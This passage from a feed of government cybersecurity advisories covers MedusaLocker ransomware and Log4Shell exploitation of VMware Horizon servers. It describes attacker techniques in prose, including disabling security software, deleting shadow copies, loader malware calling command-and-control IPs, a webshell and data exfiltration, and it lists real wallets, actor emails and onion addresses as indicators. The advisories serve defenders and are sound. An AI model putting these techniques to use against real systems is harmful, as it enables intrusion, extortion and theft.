Internet Control Message Protocol (ICMP) and to detect shared storage via Server Message Block (SMB) Protocol.  MedusaLocker then:  Restarts the LanmanWorkstation service, which allows registry edits to take effect.  Kills the processes of well-known security, accounting, and forensic software.  Restarts the machine in safe mode to avoid detection by security software [T1562.009]. Encrypts victim files with the AES-256 encryption algorithm; the resulting key is then encrypted with an RSA-2048 public key [T1486].  Runs every 60 seconds, encrypting all files except those critical to the functionality of the victim’s machine and those that have the designated encrypted file extension.  Establishes persistence by copying an executable (svhost.exe or svhostt.exe) to the %APPDATA%\Roaming directory and scheduling a task to run the ransomware every 15 minutes.  Attempts to prevent standard recovery techniques by deleting local backups, disabling startup recovery options, and deleting shadow copies [T1490]. MedusaLocker actors place a ransom note into every folder containing a file with the victim's encrypted data. The note outlines how to communicate with the MedusaLocker actors, typically providing victims one or more email address at which the actors can be reached. The size of MedusaLocker ransom demands appears to vary depending on the victim’s financial status as perceived by the actors.    Indicators of Compromise Encrypted File Extensions .1btc .matlock20 .marlock02 .readinstructions .bec .mylock .jpz.nz .marlock11 .cn .NET1 .key1 .fileslocked .datalock .NZ .lock .lockfilesUS .deadfilesgr .tyco .lockdata7 .rs .faratak .uslockhh .lockfiles .tyco .fileslock .zoomzoom .perfection .uslockhh .marlock13 n.exe .Readinstruction .marlock08 .marlock25 nt_lock20 .READINSTRUCTION   .marlock6 .marlock01 .ReadInstructions     Ransom Note File Names how_to_ recover_data.html  how_to_recover_data.html.marlock01 instructions.html  READINSTRUCTION.html  !!!HOW_TO_DECRYPT!!! How_to_recovery.txt readinstructions.html  readme_to_recover_files recovery_instructions.html  HOW_TO_RECOVER_DATA.html recovery_instruction.html     Payment Wallets 14oxnsSc1LZ5M2cPZeQ9rFnXqEvPCnZikc  1DRxUFhvJjGUdojCzMWSLmwx7Qxn79XbJq  18wRbb94CjyTGkUp32ZM7krCYCB9MXUq42  1AbRxRfP6yHePpi7jmDZkS4Mfpm1ZiatH5 1Edcufenw1BB4ni9UadJpQh9LVx9JGtKpP 1DyMbw6R9PbJqfUSDcK5729xQ57yJrE8BC  184ZcAoxkvimvVZaj8jZFujC7EwR3BKWvf  14oH2h12LvQ7BYBufcrY5vfKoCq2hTPoev bc1qy34v0zv6wu0cugea5xjlxagsfwgunwkzc0xcjj bc1q9jg45a039tn83jk2vhdpranty2y8tnpnrk9k5q bc1qz3lmcw4k58n79wpzm550r5pkzxc2h8rwmmu6xm 1AereQUh8yjNPs9Wzeg1Le47dsqC8NNaNM 1DeNHM2eTqHp5AszTsUiS4WDHWkGc5UxHf 1HEDP3c3zPwiqUaYuWZ8gBFdAQQSa6sMGw 1HdgQM9bjX7u7vWJnfErY4MWGBQJi5mVWV 1nycdn9ebxht4tpspu4ehpjz9ghxlzipll 12xd6KrWVtgHEJHKPEfXwMVWuFK4k1FCUF 1HZHhdJ6VdwBLCFhdu7kDVZN9pb3BWeUED 1PormUgPR72yv2FRKSVY27U4ekWMKobWjg 14cATAzXwD7CQf35n8Ea5pKJPfhM6jEHak 1PopeZ4LNLanisswLndAJB1QntTF8hpLsD   Email Addresses willyhill1960@tutanota[.]com  unlockfile@cock[.]li zlo@keem[.]ne  unlockmeplease@airmail[.]cc  zlo@keemail[.]me  unlockmeplease@protonmail[.]com  zlo@tfwno[.]gf  willyhill1960@protonmail[.]com  support@ypsotecs[.]com support@imfoodst[.]com    Email Addresses traceytevin@protonmail[.]com  support@itwgset[.]com unlock_file@aol[.]com  support@novibmaker[.]com unlock_file@outlook[.]com  support@securycasts[.]com  support@exoprints[.]com rewmiller-1974@protonmail[.]com support@exorints[.]com  rpd@keemail[.]me support@fanbridges[.]com  soterissylla@wyseil[.]com  support@faneridges[.]com support@careersill[.]com  perfection@bestkoronavirus[.]com  karloskolorado@tutanota[.]com pool1256@tutanota[.]com  kevynchaz@protonmail[.]com  rapid@aaathats3as[.]com korona@bestkoronavirus[.]com rescuer@tutanota[.]com lockPerfection@gmail[.]com ithelp01@decorous[.]cyou lockperfection@gmail[.]com  ithelp01@wholeness[.]business mulierfagus@rdhos[.]com ithelp02@decorous[.]cyou [rescuer]@cock[.]li  ithelp02@wholness[.]business 107btc@protonmail[.]com  ithelpresotre@outlook[.]com 33btc@protonmail[.]com  cmd@jitjat[.]org  777decoder777@protonmail[.]com coronaviryz@gmail[.]com 777decoder777@tfwno[.]gf dec_helper@dremno[.]com andrewmiller-1974@protonmail[.]com dec_helper@excic[.]com  angelomartin-1980@protonmail[.]com dec_restore@prontonmail[.]com  ballioverus@quocor[.]com dec_restore1@outlook[.]com beacon@jitjat[.]org bitcoin@sitesoutheat[.]com  beacon@msgsafe[.]io briansalgado@protonmail[.]com best666decoder@tutanota[.]com  bugervongir@outlook[.]com bitcoin@mobtouches[.]com  best666decoder@protonmail[.]com  encrypt2020@outlook[.]com  decoder83540@cock[.]li fast-help@inbox[.]lv decra2019@gmail[.]com  fuc_ktheworld1448@outlook[.]com diniaminius@winrof[.]com  fucktheworld1448@cock[.]li dirhelp@keemail[.]me  gartaganisstuffback@gmail[.]com    Email Addresses emaila.elaich@iav.ac[.]ma gavingonzalez@protonmail[.]com emd@jitjat[.]org gsupp@onionmail[.]org encrypt2020@cock[.]li  gsupp@techmail[.]info best666decoder@protonmail[.]com  helper@atacdi[.]com  ithelp@decorous[.]cyou helper@buildingwin[.]com  ithelp@decorous[.]cyoum helprestore@outlook[.]com ithelp@wholeness[.]business helptorestore@outlook[.]com   TOR Addresses http://gvlay6u4g53rxdi5.onion/6-iSm1B1Ehljh8HYuXGym4Xyu1WdwsR2Av-6tXiw1BImsqoLh7pd207Rl6XYoln7sId  http://gvlay6u4g53rxdi5.onion/8-grp514hncgblilsjtd32hg6jtbyhlocr5pqjswxfgf2oragnl3pqno6fkqcimqin http://gvlay6y4g53rxdi5.onion/21-8P4ZLCsMETPaLw9MkSlXJsNZWdHe0rxjt-XmBgZLWlm5ULGFCOJFuVdEymmxysofwu http://gvlay6u4g53rxdi5.onion/2l-8P4ZLCsMTPaLw9MkSlXJsNZWdHeOrxjtE9lck1MuXPYo29daQys6gomZZXUImN7Z  http://gvlay6u4g53rxdi5.onion/21-8P4ZLCsMTPaLw9MkSlXJsNZWdHe0rxjt-DcaE9HeHywqSHvdcIwOndCS4PuWASX8g  http://gvlay6u4g53rxdi5.onion/21-8P4ZLCsMTPaLw9MkSlXJsNZWdHe0rxjt-kB4rQXGKyxGiLyw7YDsMKSBjyfdwcyxo http://gvlay6u4g53rxdi5.onion/21-8P4ZLCsMTPaLw9MkSlXJsNZWdHe0rxjt-bET6JbB9vEMZ7qYBPqUMCxOQExFx4iOi  http://gvlay6u4g53rxdi5. onion/8-MO0Q7O97Hgxvm1YbD7OMnimImZJXEWaG-RbH4TvdwVTGQB3X6VOUOP3lgO6YOJEOW http://gvlay6u4g53rxdi5.onion/8-gRp514hncgb1i1sjtD32hG6jTbUh1ocR-Uola2Fo30KTJvZX0otYZgTh5txmKwUNe  http://gvlay6u4g53rxdi5.onion/21-E6UQFCEuCn4KvtAh4TonRTpyHqFo6F6L-OWQwD1w1Td7hY7IGUUjxmHMoFSQW6blg  http://gvlay6u4g53rxdi5.onion/21-E6UQFCEuCn4KvtAh4TonRTpyHqFo6F6L-uGHwkkWCoUtBbZWN50sSS4Ds8RABkrKy  http://gvlay6u4g53rxdi5.onion/21-E6UQFCEuCn4KvtAh4TonRTpyHqFo6F6L-Tj3PRnQlpHc9OftRVDGAWUulvE80yZbc  http://gvlay6u4g53rxdi5.onion/8-Ww5sCBhsL8eM4PeAgsfgfa9lrqa81r31-tDQRZCAUe4164X532j9Ky16IBN9StWTH  http://gvlay6u4g53rxdi5.onion/21-wIq5kK9gGKiTmyups1U6fABj1VnXIYRB-I5xek6PG2EbWlPC7C1rXfsqJBlWlFFfY qd7pcafncosqfqu3ha6fcx4h6sr7tzwagzpcdcnytiw3b6varaeqv5yd.onion http://medusacegu2ufmc3kx2kkqicrlcxdettsjcenhjena6uannk5f4ffuyd.onion/leakdata/[REDACTED] Disclaimer: Many of these observed IP addresses are several years old and have been historically linked to MedusaLocker ransomware. We recommend these IP addresses be investigated or vetted by organizations prior to taking action, such as blocking. IP Address Last Observed 195.123.246.138 Nov-2021 138.124.186.221 Nov-2021 159.223.0.9 Nov-2021 45.146.164.141 Nov-2021 185.220.101.35 Nov-2021 185.220.100.249 Sep-2021 50.80.219.149 Sep-2021 185.220.101.146 Sep-2021 185.220.101.252 Sep-2021 179.60.150.97 Sep-2021 84.38.189.52 Sep-2021 94.232.43.63 Jul-2021 108.11.30.103 Apr-2021 194.61.55.94 Apr-2021 198.50.233.202 Apr-2021 40.92.90.105 Jan-2021 188.68.216.23 Dec-2020 87.251.75.71 Dec-2020 196.240.57.20 Oct-2020 198.0.198.5 Aug-2020 194.5.220.122 Mar-2020 194.5.250.124 Mar-2020 194.5.220.124 Mar-2020 104.210.72.161 Nov-2019   MITRE ATT&CK Techniques MedusaLocker actors use the ATT&CK techniques listed in Table 1. Table 1: MedusaLocker Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use External Remote Services T1133 MedusaLocker actors gained access to victim devices through vulnerable RDP configurations. Phishing T1566 MedusaLocker actors used phishing and spearphishing to obtain access to victims' networks. Execution Technique Title ID Use Command and Scripting Interpreter: PowerShell T1059.001 MedusaLocker actors may abuse PowerShell commands and scripts for execution. Defense Evasion Technique Title ID Use Impair Defenses: Safe Mode Boot T1562.009 MedusaLocker actors may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Impact Technique Title ID Use Data Encrypted for Impact T1486 MedusaLocker actors encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. Inhibit System Recovery T1490 MedusaLocker actors may deny access to operating systems containing features that can help fix corrupted systems, such as backup catalog, volume shadow copies, and automatic repair.   Mitigations Implement a recovery plan that maintains and retains multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud). Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization. Regularly back up data and password protect backup copies stored offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides. Install, regularly update, and enable real time detection for antivirus software on all hosts. Install updates for operating systems, software, and firmware as soon as possible. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.  Disable unused ports. Consider adding an email banner to emails received from outside your organization. Disable hyperlinks in received emails. Enforce multifactor authentication (MFA). Use National Institute of Standards and Technology (NIST) standards for developing and managing password policies: Use longer passwords consisting of at least 8 characters and no more than 64 characters in length. Store passwords in hashed format using industry-recognized password managers. Add password user “salts” to shared login credentials. Avoid reusing passwords. Implement multiple failed login attempt account lockouts. Disable password “hints”. Refrain from requiring password changes unless there is evidence of password compromise. Note: NIST guidance suggests favoring longer passwords and no longer require regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software. Only use secure networks; avoid using public Wi-Fi networks. Consider installing and using a virtual private network (VPN) to establish secure remote connections. Focus on cybersecurity awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities, such as ransomware and phishing scams.   Resources Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment Reporting To report an incident and request technical assistance, contact CISA at cisaservicedesk@cisa.dhs.gov or 888-282-0870, or FBI through a local field office.  Financial Institutions must ensure compliance with any applicable Bank Secrecy Act requirements, including suspicious activity reporting obligations. Indicators of compromise (IOCs), such as suspicious email addresses, file names, hashes, domains, and IP addresses, can be provided under Item 44 of the Suspicious Activity Report (SAR) form. For more information on mandatory and voluntary reporting of cyber events via SARs, see FinCEN Advisory FIN-2016-A005, Advisory to Financial Institutions on Cyber-Events and Cyber-Enabled Crime, October 25, 2016; and FinCEN Advisory FIN-2021-A004, Advisory on Ransomware and the Use of the Financial System to Facilitate Ransom Payments, November 8, 2021, which updates FinCEN Advisory FIN-2020-A006. The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. Contact InformationTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To report incidents and anomalous activity or to request incident response resources or technical assistance related to this threat, contact CISA at report@cisa.gov. Revisions June 30, 2022: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-174A: Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems
    by CISA on 23 Giugno 2022 at 5:00 pm

    Original release date: June 23, 2022 | Last revised: July 18, 2022SummaryActions to take today: • Install fixed builds, updating all affected VMware Horizon and UAG systems to the latest versions. If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat all affected VMware systems as compromised. • Minimize the internet-facing attack surface by hosting essential services on a segregated demilitarized (DMZ) zone, ensuring strict network perimeter access controls, and implementing regularly updated web application firewalls (WAFs) in front of public-facing services The Cybersecurity and Infrastructure Security Agency (CISA) and United States Coast Guard Cyber Command (CGCYBER) are releasing this joint Cybersecurity Advisory (CSA) to warn network defenders that cyber threat actors, including state-sponsored advanced persistent threat (APT) actors, have continued to exploit CVE-2021-44228 (Log4Shell) in VMware Horizon® and Unified Access Gateway (UAG) servers to obtain initial access to organizations that did not apply available patches or workarounds. Since December 2021, multiple threat actor groups have exploited Log4Shell on unpatched, public-facing VMware Horizon and UAG servers. As part of this exploitation, suspected APT actors implanted loader malware on compromised systems with embedded executables enabling remote command and control (C2). In one confirmed compromise, these APT actors were able to move laterally inside the network, gain access to a disaster recovery network, and collect and exfiltrate sensitive data. This CSA provides the suspected APT actors’ tactics, techniques, and procedures (TTPs), information on the loader malware, and indicators of compromise (IOCs). The information is derived from two related incident response engagements and malware analysis of samples discovered on the victims’ networks. CISA and CGCYBER recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA, Malware Analysis Report MAR-10382580-1, and MAR-10382254-1. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to CISA. Update July 18, 2022: This Cybersecurity Advisory (CSA) has been updated with additional Malware Analysis Report MAR-10382580-2, which provides additional indicators of compromise (IOCs).  Update End See the list below to download copies of IOCs:  AA22-174A stix MAR-10382254-1 stix MAR-10382580-1 stix Update July 18, 2022: MAR-10382580-2 stix Download the pdf version of this report: [pdf, 426 kb] Technical DetailsNote: this advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix A for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. Log4Shell is a remote code execution vulnerability affecting the Apache® Log4j library and a variety of products using Log4j, such as consumer and enterprise services, websites, applications, and other products, including certain versions of VMware Horizon and UAG. The vulnerability enables malicious cyber actors to submit a specially crafted request to a vulnerable system, causing the system to execute arbitrary code. The request allows the malicious actors to take full control of the affected system. (For more information on Log4Shell, see CISA’s Apache Log4j Vulnerability Guidance webpage and VMware advisory VMSA-2021-0028.13.)  VMware made fixes available in December 2021 and confirmed exploitation in the wild on December 10, 2021.[1] Since December 2021, multiple cyber threat actor groups have exploited [T1190] Log4Shell on unpatched, public-facing VMware Horizon and UAG servers to obtain initial access [TA0001] to networks.  After obtaining access, some actors implanted loader malware on compromised systems with embedded executables enabling remote C2. These actors connected to known malicious IP address 104.223.34[.]198.[2] This IP address uses a self-signed certificate CN: WIN-P9NRMH5G6M8. In at least one confirmed compromise, the actors collected and exfiltrated sensitive information from the victim’s network.  The sections below provide information CISA and CGCYBER obtained during incident response activities at two related confirmed compromises. Victim 1 CGCYBER conducted a proactive threat-hunting engagement at an organization (Victim 1) compromised by actors exploiting Log4Shell in VMware Horizon. After obtaining access, threat actors uploaded malware, hmsvc.exe, to a compromised system. During malware installation, connections to IP address 104.223.34[.]198 were observed.  CISA and CGCYBER analyzed a sample of hmsvc.exe from the confirmed compromise. hmsvc.exe masquerades as a legitimate Microsoft® Windows® service (SysInternals LogonSessions software) [T1036.004] and appears to be a modified version of SysInternals LogonSessions software embedded with malicious packed code. When discovered, the analyzed sample of hmsvc.exe was running as NT AUTHORITY\SYSTEM, the highest privilege level on a Windows system. It is unknown how the actors elevated privileges.  hmsvc.exe is a Windows loader containing an embedded executable, 658_dump_64.exe. The embedded executable is a remote access tool that provides an array of C2 capabilities, including the ability to log keystrokes [T1056.001], upload and execute additional payloads [T1105], and provide graphical user interface (GUI) access over a target Windows system's desktop. The malware can function as a C2 tunneling proxy [T1090], allowing a remote operator to pivot to other systems and move further into a network. When first executed, hmsvc.exe creates the Scheduled Task [T1053.005], C:\Windows\System32\Tasks\Local Session Updater, which executes malware every hour. When executed, two randomly named *.tmp files are written to the disk at the location C:\Users\<USER>\AppData\Local\Temp\ and the embedded executable attempts to connect to hard-coded C2 server 192.95.20[.]8 over port 4443, a non-standard port [TT571]. The executable’s inbound and outbound communications are encrypted with a 128-bit key [T1573.001]. For more information on hmsvc.exe, including IOCs and detection signatures, see MAR-10382254-1. Victim 2 From late April through May 2022, CISA conducted an onsite incident response engagement at an organization (Victim 2) where CISA observed bi-directional traffic between the organization and suspected APT IP address 104.223.34[.]198. During incident response, CISA determined Victim 2 was compromised by multiple threat actor groups.  The threat actors using IP 104.223.34[.]198 gained initial access to Victim 2’s production environment in late January 2022, or earlier. These actors likely obtained access by exploiting Log4Shell in an unpatched VMware Horizon server. On or around January 30, likely shortly after the threat actors gained access, CISA observed the actors using PowerShell scripts [T1059.001] to callout to 109.248.150[.]13 via Hypertext Transfer Protocol (HTTP) [T1071.001] to retrieve additional PowerShell scripts. Around the same period, CISA observed the actors attempt to download [T1105] and execute a malicious file from 109.248.150[.]13. The activity started from IP address 104.155.149[.]103, which appears to be part of the actors’ C2 [TA0011] infrastructure.  After gaining initial access to the VMware Horizon server, the threat actors moved laterally [TA0008] via Remote Desktop Protocol (RDP) [T1021.001] to multiple other hosts in the production environment, including a security management server, a certificate server, a database containing sensitive law enforcement data, and a mail relay server. The threat actors also moved laterally via RDP to the organization’s disaster recovery network. The threat actors gained credentials [TA0006] for multiple accounts, including administrator accounts. It is unknown how these credentials were acquired.  After moving laterally to other production environment hosts and servers, the actors implanted loader malware on compromised servers containing executables enabling remote C2. The threat actors used compromised administrator accounts to run the loader malware. The loader malware appears to be modified versions of SysInternals LogonSessions, Du, or PsPing software. The embedded executables belong to the same malware family, are similar in design and functionality to 658_dump_64.exe, and provide C2 capabilities to a remote operator. These C2 capabilities include the ability to remotely monitor a system's desktop, gain reverse shell access, exfiltrate data, and upload and execute additional payloads. The embedded executables can also function as a proxy.  CISA found the following loader malware: SvcEdge.exe is a malicious Windows loader containing encrypted executable f7_dump_64.exe. When executed, SvcEdge.exe decrypts and loads f7_dump_64.exe into memory. During runtime, f7_dump_64.exe connects to hard-coded C2 server 134.119.177[.]107 over port 443.  odbccads.exe is a malicious Windows loader containing an encrypted executable. When executed, odbccads.exe decrypts and loads the executable into memory. The executable attempts communication with the remote C2 address 134.119.177[.]107.  praiser.exe is a Windows loader containing an encrypted executable. When executed, praiser.exe decrypts and loads the executable into memory. The executable attempts connection to hard-coded C2 address 162.245.190[.]203. fontdrvhosts.exe is a Windows loader that contains an encrypted executable. When executed, fontdrvhosts.exe decrypts and loads the executable into memory. The executable attempts connection to hard-coded C2 address 155.94.211[.]207. winds.exe is a Windows loader containing an encrypted malicious executable and was found on a server running as a service. During runtime, the encrypted executable is decrypted and loaded into memory. The executable attempts communication with hard-coded C2 address 185.136.163[.]104. winds.exe has complex obfuscation, hindering the analysis of its code structures. The executable’s inbound and outbound communications are encrypted with an XOR key [T1573.001]. For more information on these malware samples, including IOCs and detection signatures, see MAR-10382580-1. Additionally, CISA identified a Java® Server Pages (JSP) application (error_401.js) functioning as a malicious webshell [T505.003] and a malicious Dynamic Link Library (DLL) file: error_401.jsp is a webshell designed to parse data and commands from incoming HTTP requests, providing a remote operator C2 capabilities over compromised Linux and Windows systems. error_401.jsp allows actors to retrieve files from the target system, upload files to the target system, and execute commands on the target system. rtelnet is used to execute commands on the target system. Commands and data sent are encrypted via RC4 [T1573.001]. For more information on error_401.jsp, including IOCs, see [MAR-10382580 2]. newdev.dll ran as a service in the profile of a known compromised user on a mail relay server. The malware had path: C:\Users\<user>\AppData\Roaming\newdev.dll. The DLL may be the same newdev.dll attributed to the APT actors in open-source reporting; however, CISA was unable to recover the file for analysis.  Threat actors collected [TA0009] and likely exfiltrated [TA0010] data from Victim 2’s production environment. For a three week period, the security management and certificate servers communicated with the foreign IP address 92.222.241[.]76. During this same period, the security management server sent more than 130 gigabytes (GB) of data to foreign IP address 92.222.241[.]76, indicating the actors likely exfiltrated data from the production environment. CISA also found .rar files containing sensitive law enforcement investigation data [T1560.001] under a known compromised administrator account. Note: the second threat actor group had access to the organization's test and production environments, and on or around April 13, 2022, leveraged CVE-2022-22954 to implant the Dingo J-spy webshell. According to trusted third-party reporting, multiple large organizations have been targeted by cyber actors leveraging CVE-2022-22954 and CVE-2022-22960. For more information on exploitation of CVE-2022-22954 and CVE-2022-22960, see CISA CSA Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control. Incident Response If administrators discover system compromise, CISA and CGCYBER recommend: Immediately isolating affected systems.  Collecting and reviewing relevant logs, data, and artifacts. Considering soliciting support from a third-party incident response organization that can provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation. Reporting incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). To report cyber incidents to the Coast Guard pursuant to 33 CFR Section 101.305,  contact the U.S. Coast Guard (USCG) National Response Center (NRC) (NRC@uscg.mil or 800-424-8802).  MitigationsCISA and CGCYBER recommend organizations install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version. If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised. Follow the pro-active incident response procedures outlined above prior to applying updates. If no compromise is detected, apply these updates as soon as possible. See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable. Note: until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic. While installing the updates, ensure network perimeter access controls are as restrictive as possible. If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds. Implement temporary solutions using an account with administrative privileges. Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible.  Prior to implementing any temporary solution, ensure appropriate backups have been completed.  Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain. See KB87073 for details.  Additionally, CISA and CGCYBER recommend organizations: Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs).  Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services non-essential to business operations. Where possible, implement regularly updated WAFs in front of public-facing services. WAFs can protect against web based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic. Use best practices for identity and access management (IAM) by implementing multifactor authentication (MFA), enforcing use of strong passwords, and limiting user access through the principle of least privilege. Contact Information Recipients of this report are encouraged to contribute any additional information related to this threat. To request incident response resources or technical assistance related to these threats, email CISA at report@cisa.gov. To contact Coast Guard Cyber Command in relation to these threats, email maritimecyber@uscg.mil. To report cyber incidents to the Coast Guard pursuant to 33 CFR Section 101.305  contact the USCG NRC (NRC@uscg.mil or 800-424-8802). Resources For more information on Log4Shell, see: CISA’s Apache Log4j Vulnerability Guidance webpage, Joint CSA Mitigating Log4Shell and Other Log4j-Related Vulnerabilities, or CISA’s database of known vulnerable services on the CISA GitHub® page. See National Security Agency (NSA) and Australian Signals Directorate (ASD) guidance Block and Defend Web Shell Malware for additional guidance on hardening internet-facing systems. References [1] VMware Security Advisory VMSA-2021-0028.13 [2] Fortinet’s blog New Milestones for Deep Panda: Log4Shell and Digitally Signed Fire Chili Rootkits Appendix A: Indicators of Compromise See MAR-10382580-1 and MAR-10382254-1 and Table 1 for IOCs. See the list below to download copies of these IOCs:  MAR-10382580-1 stix MAR-10382254-1 stix Table 1: Indicators of Compromise Type Indicator Description IP Address 104.223.34[.]198   IP address closely associated with the installation of malware on victims. 92.222.241[.]76  Victim 2 servers communicated with this IP address and sent data to it during a three-week period. 109.248.150[.]13  Actors attempting to download and execute a malicious file from this address. 104.155.149[.]103  Appears to be a part of the actors’ C2 infrastructure.  Network Port 192.95.20[.]8:80    Same description as IP 192.95.20[.]8, but includes the specific destination port of 80, which was identified in logs and during malware analysis. 1389  This was the most common destination port for Log4Shell exploitation outbound connections.  Multiple unique destination addresses were used for Log4Shell callback. 104.223.34[.]198:443  IP address closely associated to the installation of malware on victims with the specific destination port of 443. Scheduled Task C:\Windows\System32\Tasks\Local Session Update  Scheduled task created by hmsvc.exe to execute the program hourly. File Path C:\Windows\Temp\lnk{4_RANDOM_CHARS}.tmp  File created by hmsvc.exe with a random four-character filename. C:\Windows\Temp\lnk<4_RANDOM_NUMS_CHAR S>.tmp File created by hmsvc.exe with a random four-character filename. Appendix B: Threat Actor TTPs See Table 2 for the threat actors’ tactics and techniques identified in this CSA. See the MITRE ATT&CK for Enterprise framework, version 11, for all referenced threat actor tactics and techniques. Table 2: Tactics and Techniques Tactic Technique Initial Access [TA0001] Exploit Public-Facing Application [T1190]  Execution [TA0002] Command and Scripting Interpreter: PowerShell [T1059.001] Scheduled Task/Job: Scheduled Task [T1053.005] Persistence [TA0003] Server Software Component: Web Shell [T1505.003] Defense Evasion [TA0005] Masquerading: Masquerade Task or Service [T1036.004] Credential Access [TA0006]   Lateral Movement [TA0008] Remote Services: Remote Desktop Protocol [T1021.001] Collection [TA0009]  Archive Collected Data: Archive via Utility [T1560.001] Input Capture: Keylogging [T1056.001] Command and Control [TA0011] Application Layer Protocol: Web Protocols [T1071.001] Encrypted Channel: Symmetric Cryptography [1573.001] Ingress Tool Transfer [T1105] Non-Standard Port [T1571]   Proxy [T1090] Disclaimer © 2021 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Acknowledgements CISA and CGCYBER would like to thank VMware and Secureworks for their contributions to this CSA. Revisions June 23, 2022: Initial version June 24, 2022: Added link to AA22-174A.stix.xml July 18, 2022: MAR-10382580-2 stix This product is provided subject to this Notification and this Privacy & Use policy.

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